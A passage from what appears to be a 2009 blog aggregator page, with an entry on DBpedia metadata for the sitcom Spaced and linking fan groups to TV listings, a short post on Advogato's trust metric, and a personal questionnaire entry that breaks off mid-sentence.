“Spaced is a British television situation comedy written by and starring Simon Pegg and Jessica Stevenson, and directed by Edgar Wright. It is noted for its rapid-fire editing, frequent dropping of pop-culture references, and occasional displays of surrealism. Two series of seven episodes were broadcast in 1999 and 2001 on Channel 4.”

dbpedia-owl:author
* dbpedia:Jessica_Hynes
* dbpedia:Simon_Pegg

dbpedia-owl:completionDate
* 2001-04-13 (xsd:date)

dbpedia-owl:director
* dbpedia:Edgar_Wright

dbpedia-owl:episodenumber
* 14

dbpedia-owl:executiveproducer
* dbpedia:Humphrey_Barclay

dbpedia-owl:genre
* dbpedia:Situation_comedy

dbpedia-owl:language
* dbpedia:English_language

dbpedia-owl:network
* dbpedia:Channel_4

dbpedia-owl:producer
* dbpedia:Gareth_Edwards
* dbpedia:Nira_Park

dbpedia-owl:releaseDate
* 1999-09-24 (xsd:date)

dbpedia-owl:runtime
* 24

dbpedia-owl:starring
* dbpedia:Jessica_Hynes
* dbpedia:Simon_Pegg

There are also links from here to Cyc (but an incorrect match) and to Freebase (to http://www.freebase.com/view/en/spaced).

Unfortunately, the Wikipedia “external links” section, with the URL for http://www.spaced-out.org.uk/ (marked “offical, fan-operated site” is not part of the DBpedia RDF export. I guess as it is not in an infobox. Extracting these external-link URLs at least for the TV, Actor and Movie related sections of Wikipedia might be worthwhile. And DBpedia would be useful for identifying the relevant subset to re-extract.

This idea of using such URLs as keys into Wikipedia/dbpedia data would also work with Identi.ca groups and others. In fact the matching might be easier in Identi.ca - I’m not sure how the Facebook APIs expose this stuff.

Anyway, if a show is about to be broadcast that includes eg. an interview with dbpedia:Jessica_Hynes or dbpedia:Simon_Pegg I’d like to hear about it.

So… is there any way I can use BBC’s /programmes to get upcoming information about who will be on the radio or telly, in a way that could be matched against dbpedia URIs?

Edit: I should’ve mentioned that Facebook in particular also has a more explicit “is a fan of” construct, with Products, Celebs, TV shows and Stores as types of thing you can be a fan of. Furthermore these show up on your public page, eg. here’s mine. I’m certainly interested in using that data, but also in a model that uses  general groups, since it is applicable to other sites that allow a group to indicate itself with a topical URL.

Syndicated 2009-06-30 04:17:42 from danbri's foaf stories

30 Jun 2009 average   » (Observer)

Advogato's trust metric is severely underutilized given the amount of collaborative platforms popping up in webland. What gives?

For all the interest, both academic and pragmatic, it's remarkable how little implementation there is (worth noting is UCSC's wikitrust). The problems do not seem intractible and the problem domain itself is quite fascinating, yet so little to show. Are people just using web site selection to do ranking ("bookmark trust") and leaving it at that? I'm surprised there so little desire for a unified field of discussion and knowledge, it could create a new economy of ideas as well as a marketplace for allocating decision-making authority and governance.

30 Jun 2009 marnanel   » (Journeyer)

Questions from Misty

Are there any words you can't stand the sound of?
No, not really.  I think each word has its own special beauty and is useful in its own place.  I don't have the revulsion to words like moist that some people claim to have.  Even a word like phthisis (presumably the source of "phtheezles" in Christopher Robin), though a name for a horrible thing, has its own strange beauty as a word.

If you are a colour, which colour are you?
Orange on some days, black on others.

What is your comfort food?
Hm.  In this countr